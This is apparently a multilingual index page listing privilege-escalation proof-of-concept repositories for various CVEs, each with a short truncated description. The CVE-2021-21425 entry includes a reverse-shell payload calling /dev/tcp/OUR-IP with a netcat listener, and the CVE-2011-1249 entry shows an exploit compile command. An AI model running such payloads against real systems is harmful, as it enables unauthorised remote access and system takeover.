CVE-2023-0386_POC

Team CVE-MD Dieses Repository enthält einen Proof-of-Concept für CVE-2023-0386: https://nvd.nist.gov/vuln/detail/CVE-2023-0386 Teammitglieder: Bǎnicǎ Dragoș-Marius und Borsos Matheas-Roland Hier ist das Video: https://www.youtube.com/watch?v=Ikux1rjIYP0 CVE-2023-0386 — Lokale Privilegienerweiteru...

CVE-2025-57489

CVE-2025-57489 الوصف من مدونة المطوّر: عندما يتم فتح القفل في SuperDuper للسماح بالتنفيذ دون الحاجة إلى إدخال كلمة مرور المسؤول، يمكن لبرنامج خارجي استخدام تفويضنا لتشغيل شيء آخر غير النسخ الاحتياطي بصلاحيات المسؤول. وصف CVE: التحكم غير الصحيح في الوصول في مكوّن SDAgent الخاص بـ Shirt Pocket...

SUDO-privilege-escalation

Escalation dei privilegi SUDO Panoramica: Questo progetto dimostra lo sfruttamento della vulnerabilità di escalation dei privilegi di Sudo CVE-2023-22809. L'obiettivo è simulare come un attaccante possa ottenere accesso root non autorizzato sfruttando questa vulnerabilità in un ambiente...

CVE-2024-34831

CVE-2024-34831 XSS-Schwachstelle in GibbonEdu Core v26.0.00 führt zu Privilegienerweiterung Gibbon ist ein großartiges Open-Source-Schulverwaltungssystem mit vollem Funktionsumfang. Es wird viel Arbeit in die Überarbeitung der recht alten Codebasis investiert. Autor: Christian Bajada 1...

CVE-2017-16995

L'ultima versione di Ubuntu Ubuntu 16.04 presenta una vulnerabilità ad alto rischio di elevazione locale dei privilegi, identificata con il codice CVE-2017-16995. La vulnerabilità risiede nel kernel Linux che richiama eBPF bpf2; quando un utente fornisce un programma BPF dannoso che induce un...

CVE-2021-4034

CVE-2021-4034 PoC di Polkit In cosa consiste Polkit? Policy Toolkit o Polkit, da quando è stato lanciato nel 2009, consente a qualsiasi attaccante senza permessi di root di ottenere facilmente accesso amministrativo su qualsiasi sistema Linux con il pacchetto Polkit. Sfortunatamente o no, è...

CVE-2023-22515

1vere$k CVE-2023-22515 iveresk-CVE-2023-22515 Il 4 ottobre 2023, Atlassian ha pubblicato un advisory per CVE-2023-22515, una vulnerabilità critica che interessa le istanze on-premises di Confluence Server e Confluence Data Center. Atlassian ha inizialmente descritto questa vulnerabilità come...

privilege-escalation-breach

Progetto di violazione della sicurezza - Escalation dei privilegi La vulnerabilità è in Oracle Solaris, un prodotto di Oracle Systems componente: XScreenSaver. La versione supportata interessata è la 11. È una vulnerabilità facilmente sfruttabile che consente ad attaccanti con privilegi bassi e...

CVE-2017-16995

भेद्यता विवरण Ubuntu एक ओपन-सोर्स GNU/Linux ऑपरेटिंग सिस्टम है जो मुख्य रूप से डेस्कटॉप अनुप्रयोगों पर केंद्रित है और Debian GNU/Linux पर आधारित है। हाल ही में एक व्हाइट-हैट हैकर ने Ubuntu के नवीनतम संस्करण Ubuntu 16.04 में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता local privilege escalation...

CVE-2021-3560

CVE-2021-3560 Polkit – Lokale Privilegienausweitung Ursprüngliche Entdeckung von kevinbackhouse vom GitHub Security Lab Referenzen https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-35...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2025-32462-Exploit

CVE-2025-32462-Exploit: Matrix-Sudo Escape Escalation dei privilegi tramite spoofing dell'hostname CVE-2025-32462 "Prendi la pillola blu... la storia finisce. Prendi la pillola rossa... ottieni root." Descrizione Questo exploit dimostra una vulnerabilità di escalation dei privilegi in sudo...

CVE-2021-21425

CVE-2021-21425 Quelle: https://www.exploit-db.com/exploits/49973 1 Ziel-IP ändern 2 Payload ändern echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

CVE-2026-43494-PinTheft-PoC

SLEY — PinTheft PoC CVE-2026-43494 Proof-of-Concept — uid=1000raken → uid=0root nach ./sley auf WSL2 6.6.87.2-microsoft-standard-WSL2 Einzeldatei-Proof-of-Concept für CVE-2026-43494 PinTheft: eine lokale Kernel-Privilegienerweiterung unter Linux, die einen RDS-Zerocopy-Referenzzähl-Bug mit iourin...

autobloody

autobloody autobloody è uno strumento per sfruttare automaticamente i percorsi di escalation dei privilegi di Active Directory mostrati da BloodHound. Descrizione Questo strumento automatizza l'escalation dei privilegi AD tra due oggetti AD: la sorgente quella che possediamo e il target quella ch...

CVE-2026-55228

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, the REST API did not properly enforce the scope of project- and workspace-scoped teams, allowing a user to submit invalid team configurations through the API. By assigning...

CVE-2011-1249

CVE-2011-1249 🖥️ -h3x0v3rl0rd- Microsoft Windows x86 - 'afd.sys' تصعيد الامتيازات المحلي MS11-046 root@kitploit: apt install mingw-w64 i686-w64-mingw32-gcc 40564.c -o newshell.exe -lws232...

CVE-2025-32463_sudo_chroot

CVE-2025-32463 - sudo chroot Utilizzo Il Dockerfile crea un ambiente di test sicuro e isolato con una versione vulnerabile di sudo 1.9.16p2 installata. Questo ti consente di testare l'exploit senza influenzare il tuo sistema host. root@kitploit: Build the vulnerable test environment docker build ...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center Escalação de Privilégio Local - Vulnerabilidade de Sobrescrita Arbitrária de Arquivos Resumo da Vulnerabilidade Uma vulnerabilidade de escalação de privilégio local no sistema operacional Windows foi identificada nas versões = 2.0.36.0 do MSI Center, que permite a um...